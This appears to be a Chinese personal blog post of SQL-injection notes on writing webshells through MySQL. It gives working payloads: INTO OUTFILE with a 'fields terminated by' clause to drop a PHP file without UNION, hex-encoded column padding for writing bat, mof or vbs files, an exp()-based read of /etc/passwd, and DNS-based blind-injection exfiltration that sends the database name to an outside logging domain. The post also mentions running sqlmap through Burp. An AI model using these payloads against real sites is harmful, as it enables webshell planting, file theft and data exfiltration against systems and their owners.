mysql写Shell小技巧

 

今天终于在表哥的帮助下解决了文件导入/出这个问题了。(很菜逼的一个问题),然后将最近看到的文章都自己测试了下,顺便奉上记录。
1.Mysql数据库支持union的时候写文件小技巧:
 
采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍,
但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了。
 
将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我们需要的内容了。

2.不支持union的时候写入,很多人都不知道这个办法,以为要写入内容必须要支持union,看到一篇文章,可以不需要支持这个办法。
语法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
 
可以看到成功写入,但是这个方法有一个弊病就是查询出来的数据必须大于或等于2以上才可以写入内容,写入的内容数=查询出来的数据-1
 
可以看到,当我们使前面的数据出错查不到数据的时候,写入是失败的。
看看sqlmap中的情况:
 
可以很明显的看到sqlmap中也有这种办法写入。(burp抓取sqlmap数据包:加上 --proxy "http://127.0.0.1:8080/" 在burp里可以看到请求)
 
当然可以看到也通过了常规的union写入文件。
同时附上一个函数exp()。通过这个函数也可以读取文件,但是写文件只能写入一个内容为0的文件,这里就必须结合其他的漏洞利用了,如:文件覆盖之类的。
读文件:
select exp(~(select*from(select load_file('/etc/passwd'))a));  
写文件:
select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能写一个0进去。


3.关于使用dns解析来让盲注更加简单。
首先看下load_file()这个函数,这个函数可以用来发送dns解析请求。
然后使用类似的语句:select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);
即可成功将database()解析到域名的dns前面。前提是支持读文件权限,这个在实战中占的比列大概只有%30左右吧。
 
还有就是命令执行同时也支持的,如:
 

实战中也类似这个道理。在可能存在命令执行的地方,ping+域名,或许就能查看到是否执行了。
本来是自己写的word作为记录储存的,顺便和大家分享下。
相关资料:
https://ricterz.me/posts/%E7%AC% ... Injection%20Attacks
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://lu4n.com/mysql-sqli-write-webshell-two-methods/

---恢复内容结束---

posted @ 2017-04-27 00:34  情三  阅读(...)  评论(...编辑  收藏